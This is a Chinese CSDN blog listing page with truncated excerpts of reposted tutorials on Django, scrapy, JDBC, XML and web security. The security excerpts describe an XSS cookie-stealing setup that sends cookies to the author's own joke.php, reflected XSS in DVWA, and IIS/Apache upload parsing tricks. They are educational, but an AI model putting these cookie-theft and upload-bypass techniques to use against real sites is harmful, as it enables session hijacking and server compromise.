普通网友-优快云博客

转载 django模板的shell操作

from django.db import models class Person(models.Model): name = models.CharField(max_length=30) age = models.IntegerField() def __unicode__(self): # 在Python3中使...

2017-04-24 14:48:00 153

转载基于cookies模拟登录

cookies是什么 ?　　cookies是服务器放在用户机器上的一小块信息. cookies用来保存登录信息,这样用户就不用每次从同一台机器访问页面都要再次输入登录信息cookie的成分名称、值（必需）；域（网站不能访问其他域生成的cookie）、路径（将cookie的访问权限控制在服务器中的特定目录）、失效日期（规定cookie何时应该删除，默认下关闭浏览器时就会删...

2017-04-17 17:13:00 168

转载 python下载图片的几种方法

一. urllib# python2import urllib url = r"https://storage.googleapis.com/imgfave/image_cache/1491751695365459.jpg" path = r"D:\my.jpg" 　　#字符串前加r 防止被转义data = urllib.urlretrieve(url,path...

2017-04-12 16:53:00 196

转载 scrapy中的xpath中的re使用

第一种:例子:这里我使用"http://www.simple-style.com/page/1"这个网站的爬虫>>>scrapy shell http://www.simple-style.com/page/1进入交互环境后,我想找到当前网页的所有src 1 >>> response.xpath('//@src').extr...

2017-04-12 00:52:00 597

转载 scrapy下载图片第一波

scrapy的图片管道,在ImagePipeline类中实现 ,提供了一个方便并具有额外特性的方法,来下载并本地存储图片:　　* 将所有下载的图片转换成通用的格式(JPG)和模式(RGB)　　* 避免重新下载最近已经下载过的图片　　* 缩略图生成　　* 检测图像的宽/高,确保它们满足最小的限制这个管道也会为那些当前安排好要下载的图片保留一个内部队列,并将那些到达的包含...

2017-04-11 01:16:00 178

转载 scrapy之防ban策略

策略一:设置download_delay　　设置下载的等待时间,减少被ban的几率通过在setting.py文件中设置DOWNLOAD_DELAY参数，可以限制爬虫的访问频度。DOWNLOAD_DELAY =0.25 # 250 ms of delay通过启用RANDOMIZE_DOWNLOAD_DELAY参数（默认为开启状态），可以使爬取时间间隔随机化，随机时长控...

2017-04-10 15:08:00 228

转载 xml之dtd约束

dtd分类：内部dtd：在xml内部定义dtd外部dtd：在外部文件中定义dtd 　　* 本地dtd文件：<!DOCTYPE students SYSTEM "student.dtd"> 　　* 网络dtd文件：<!DOCTYPE students PUBLIC "名称空间" "student.dtd">dtd示例:1 ...

2017-03-31 17:34:00 84

转载 Java jdbc相关

JDBC:java database connectivity --- SUN公司提供的一套操作数据库的标准规范。JDBC与数据库驱动的关系：接口与实现的关系。JDBC规范：　　DriverManager(类):用于注册驱动　　Connection(接口): 表示与数据库创建的连接　　Statement(接口): 操作数据库sql语句的对象　　ResultS...

2017-03-29 03:30:00 82

转载 XSS获取cookie

在你服务器的html目录下创建joke文件夹；在joke文件夹中创建joke.js 和joke.phpjoke.js 创建img标签，将它的src属性指向另一个脚本joke.php,这里关键的一点是：将页面的cookie作为参数附加到url后面joke.js代码如下：var img = document.createElement('img');img.wi...

2016-11-19 23:50:00 235

转载反射型ＸＳＳ　＆　ＤＶＷＡ

　　反射型ＸＳＳ也被称为非持久性ＣＳＳ。当用户访问一个带有XSS代码的URL请求时，服务器端接收数据后处理，然后把带有XSS代码的数据发送到浏览器，浏览器解析这段带有XSS代码的数据后，最终造成ＸＳＳ漏洞。这个过程就像一次反射，故称为反射型ＸＳＳ。DVWA – low这里对于接受用户数据的name参数没有进行任何过滤，就直接在网页中输出。<scrip...

2016-11-14 18:35:00 257

转载上传漏洞

解析漏洞IIS 解析漏洞IIS6.0 存在两个漏洞：　　1.当建立*.asa，*.asp格式的文件夹时，其目录下的任意文件都被IIS当作asp 文件解析　　2.当文件为*.asp;1.jpg 时，IIS同样会以ASP脚本来执行---经典漏洞：WebDavApache 解析漏洞Apache在解析文件时，当碰到不认识的扩展名时，会从后向前解析，直到碰到的扩展名为...

2016-11-14 06:57:00 101

转载 python SocketServer 源码分析

附上原文链接：　　http://beginman.cn/python/2015/04/06/python-SocketServer/转载于:https://www.cnblogs.com/Garvey/p/6006187.html

2016-10-27 23:48:00 159